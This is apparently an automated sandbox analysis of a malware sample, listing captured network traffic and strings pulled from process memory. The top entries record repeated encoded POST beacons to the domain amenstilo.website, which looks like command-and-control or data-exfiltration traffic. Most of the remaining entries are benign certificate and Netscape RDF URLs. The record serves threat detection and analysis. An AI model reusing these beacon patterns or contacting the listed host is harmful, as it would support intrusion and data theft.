Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36keephis: muBSN9rS0m9IJp1td7zVaQplRSv1+npjCmN1+3Lp5KRnx3l+GpkQBQzoL3U0WvsRkGE+NF+ehk3fqBN20gQOF6/nAUHcsQFmStSolt9u4BXbAdffJ/ulEuxaOR7PEJniContent-Length: 212Host: amenstilo.website
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36keephis: muBSN9rS0m9IJp1td7zVaQplRSv1+npjCmN1+3Lp5KRnx3l+GpkQBQzoL3U0WvsRkGE+NF+ehk3fqBN20gQOF6/nAUHcsQFmStSolt9u4BXbAdffJ/ulEuxaOR7PEJniContent-Length: 380Host: amenstilo.website
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36keephis: muBSN9rS0m9IJp1td7zVaQplRSv1+npjCmN1+3Lp5KRnx3l+GpkQBQzoL3U0WvsRkGE+NF+ehk3fqBN20gQOF6/nAUHcsQFmStSolt9u4BXbAdffJ/ulEuxaOR7PEJniContent-Length: 14833Host: amenstilo.website
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36keephis: muBSN9rS0m9IJp1td7zVaQplRSv1+npjCmN1+3Lp5KRnx3l+GpkQBQzoL3U0WvsRkGE+NF+ehk3fqBN20gQOF6/nAUHcsQFmStSolt9u4BXbAdffJ/ulEuxaOR7PEJniContent-Length: 85753Host: amenstilo.website
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36keephis: muBSN9rS0m9IJp1td7zVaQplRSv1+npjCmN1+3Lp5KRnx3l+GpkQBQzoL3U0WvsRkGE+NF+ehk3fqBN20gQOF6/nAUHcsQFmStSolt9u4BXbAdffJ/ulEuxaOR7PEJniContent-Length: 35Host: amenstilo.website
Source: global traffic HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Content-Length: 96Host: amenstilo.website
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: amenstilo.website
Source: unknown HTTP traffic detected: POST /courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Content-Length: 96Host: amenstilo.website
Source: UolJwovI8c.exe String found in binary or memory: http://appsyndication.org/2006/appsyn
Source: UolJwovI8c.exe, 00000000.00000000.2141512330.00000000005DB000.00000002.00000001.01000000.00000003.sdmp, UolJwovI8c.exe, 00000000.00000002.2270107152.00000000005DB000.00000002.00000001.01000000.00000003.sdmp, UolJwovI8c.exe, 00000002.00000002.2268802426.000000000055B000.00000002.00000001.01000000.00000005.sdmp, UolJwovI8c.exe, 00000002.00000000.2146405308.000000000055B000.00000002.00000001.01000000.00000005.sdmp String found in binary or memory: http://appsyndication.org/2006/appsynapplicationapuputil.cppupgradeexclusivetrueenclosuredigestalgor
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: thunderbird.exe, 00000003.00000003.2260894204.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261061954.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2260778595.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2260293637.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261175868.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261421950.00000000030F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.thawte.com/ThawteCodeSigningCA.crl02
Source: thunderbird.exe, 00000003.00000003.2260894204.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261061954.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2260778595.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2260293637.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261175868.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261421950.00000000030F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.thawte.com/ThawtePremiumServerCA.crl0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Account
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#BiffState
Source: thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#BookmarkSeparator
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#BookmarkSeparatornaturaldescendingascendingundeterminednsTreeRowTest
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanCompact
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanCreateFoldersOnServer
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanCreateSubfolders
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanFileMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanFileMessagesOnServer
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanGetIncomingMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanGetMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanRename
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanSearchMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CanSubscribe
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CardChild
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Charset
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CharsetDetector
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Checked
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Compact
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CompactAll
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Content-Length
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Copy
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#CopyFolder
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DateEnded
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DateStarted
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Delete
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DeleteCards
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DeleteCardshttp://home.netscape.com/NC-rdf#DirTreeNameSorthttp://hom
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Deletehttp://home.netscape.com/NC-rdf#Copyhttp://home.netscape.com/N
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DirName
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DirTreeNameSort
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DirUri
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DownloadFlaggedMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DownloadFlaggedMessageshttp://home.netscape.com/NC-rdf#MarkAllMessag
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#DownloadState
